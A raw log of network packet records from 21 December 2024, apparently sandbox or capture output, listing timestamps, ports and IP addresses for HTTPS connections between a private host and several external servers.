Dec 21, 2024 19:24:40.629954100 CET	443	49762	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:40.630239010 CET	49762	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:40.630449057 CET	49762	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:40.630462885 CET	443	49762	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:40.896272898 CET	443	49762	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:40.896470070 CET	49762	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:40.897331953 CET	49762	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:40.897337914 CET	443	49762	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:40.897491932 CET	443	49762	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:40.899348974 CET	49762	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:40.899399996 CET	49762	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:40.899405956 CET	443	49762	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:40.899447918 CET	49762	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:40.899456978 CET	443	49762	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:41.560818911 CET	443	49762	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:41.561098099 CET	443	49762	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:41.561249018 CET	49762	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:41.561443090 CET	49762	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:41.561471939 CET	443	49762	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:41.569681883 CET	49763	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:41.569757938 CET	443	49763	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:41.569964886 CET	49763	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:41.570162058 CET	49763	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:41.570187092 CET	443	49763	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:41.838232040 CET	443	49763	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:41.838454008 CET	49763	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:41.839585066 CET	49763	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:41.839593887 CET	443	49763	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:41.839848995 CET	443	49763	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:41.841222048 CET	49763	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:41.841291904 CET	49763	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:41.841298103 CET	443	49763	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:42.500164986 CET	443	49763	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:42.500478029 CET	443	49763	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:42.500771999 CET	49763	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:42.500899076 CET	49763	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:42.500946045 CET	443	49763	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:42.891299009 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:42.891365051 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:42.891530991 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:42.891879082 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:42.891923904 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.033987999 CET	443	49737	23.50.112.19	192.168.11.20
Dec 21, 2024 19:24:43.034132957 CET	443	49737	23.50.112.19	192.168.11.20
Dec 21, 2024 19:24:43.034168005 CET	49737	443	192.168.11.20	23.50.112.19
Dec 21, 2024 19:24:43.034369946 CET	49737	443	192.168.11.20	23.50.112.19
Dec 21, 2024 19:24:43.161842108 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.162158966 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.162933111 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.162950039 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.163265944 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.164293051 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.165647984 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.165669918 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.165693998 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.165750027 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.165774107 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.165932894 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.165960073 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.166109085 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.166136980 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.166326046 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.166368008 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.166531086 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.166543961 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.166697979 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.166713953 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.166902065 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.166914940 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.167067051 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.167079926 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.167279959 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.167299032 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.167471886 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.167486906 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.167644024 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.167659044 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.167841911 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.167850971 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.168045998 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.168056965 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.168222904 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.168236971 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.168410063 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.168417931 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.168603897 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.168612003 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.168796062 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.168804884 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.168987036 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.168996096 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.169179916 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.169188023 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.169369936 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.169380903 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.169590950 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.169611931 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.169776917 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.169787884 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.169970036 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.169981003 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.170139074 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.170147896 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.170356035 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.170547962 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.170741081 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.170912027 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.171109915 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.171317101 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.171509981 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.171703100 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.171878099 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.172085047 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.172276974 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.172447920 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.172640085 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.214262962 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.214445114 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.214462996 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.214495897 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.214507103 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.214562893 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.214570999 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.214755058 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.214766979 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.214950085 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.214961052 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.215138912 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.215151072 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.215342999 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.215353966 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:43.215504885 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.215688944 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.215883970 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.216073036 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.216264963 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.216459036 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.216669083 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.216856956 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:43.262211084 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:46.853687048 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:46.853745937 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:46.853965044 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:46.854095936 CET	49764	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:46.854106903 CET	443	49764	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:46.856345892 CET	49765	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:46.856364012 CET	443	49765	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:46.856704950 CET	49765	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:46.856851101 CET	49765	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:46.856858015 CET	443	49765	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:47.122232914 CET	443	49765	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:47.122448921 CET	49765	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:47.123284101 CET	49765	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:47.123292923 CET	443	49765	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:47.123477936 CET	443	49765	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:47.124540091 CET	49765	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:47.124540091 CET	49765	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:47.124591112 CET	443	49765	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:47.825248957 CET	443	49765	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:47.825351954 CET	443	49765	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:47.825722933 CET	49765	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:47.825723886 CET	49765	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:47.825723886 CET	49765	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:47.964426994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:47.964484930 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:47.964696884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:47.964850903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:47.964885950 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.132968903 CET	49765	443	192.168.11.20	104.21.44.253
Dec 21, 2024 19:24:48.133023024 CET	443	49765	104.21.44.253	192.168.11.20
Dec 21, 2024 19:24:48.238601923 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.238888025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.239970922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.239986897 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.240343094 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.241404057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.286209106 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.724448919 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.724709988 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.724905968 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.724917889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.724975109 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.725150108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.725152016 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.725174904 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.725336075 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.725349903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.725375891 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.725517988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.725539923 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.725630045 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.725729942 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.725739002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.725759983 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.725866079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.725888968 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.726047039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.726061106 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.726087093 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.726234913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.726264954 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.726299047 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.726443052 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.726465940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.726476908 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.726517916 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.726650000 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.726722002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.726777077 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.726809025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.726943016 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.726969957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.727021933 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.727169991 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.727221966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.727274895 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.727370024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.727371931 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.727466106 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.727556944 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.727603912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.727655888 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.727746010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.727752924 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.727941990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.727993011 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.728374958 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.728496075 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.728566885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.728621960 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.728792906 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.728796005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.728977919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.729028940 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.729235888 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.729453087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.729504108 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.729701042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.854055882 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.854269981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.854588985 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.854986906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.855036974 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.855128050 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.855259895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.855283976 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.855668068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.855715036 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.855740070 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.855981112 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.856098890 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.856332064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.856359005 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.856381893 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.856587887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.857353926 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.857589006 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.858048916 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.858244896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.858406067 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.858627081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.858658075 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.858696938 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.858912945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.859158039 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.859339952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.859713078 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.859941959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.860672951 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.860901117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.861073017 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.861301899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.861680984 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.861918926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.862606049 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.862817049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.862864971 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.863076925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.984502077 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.984723091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.984914064 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.985105991 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.985106945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.985301971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.985332012 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.985924959 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.986174107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.986251116 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.986422062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.986448050 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.986476898 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.986629009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.986793995 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.987031937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.987096071 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.987292051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.987531900 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.987679958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.988122940 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.988306999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.988346100 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.988511086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.988749027 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.988980055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.989317894 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.989554882 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.989636898 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.989789009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.990390062 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.990673065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.990722895 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.990865946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.991173983 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.991322041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.991518021 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.991687059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.991724968 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.991867065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.992355108 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.992544889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.993031025 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.993330956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.993377924 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.993716002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.994057894 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.994239092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.994398117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.994618893 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.994793892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.995073080 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.995233059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.995268106 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.995508909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.995847940 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.996041059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.997812986 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.997884035 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:48.998034000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.998034954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.998076916 CET	443	49766	172.67.184.254	192.168.11.20
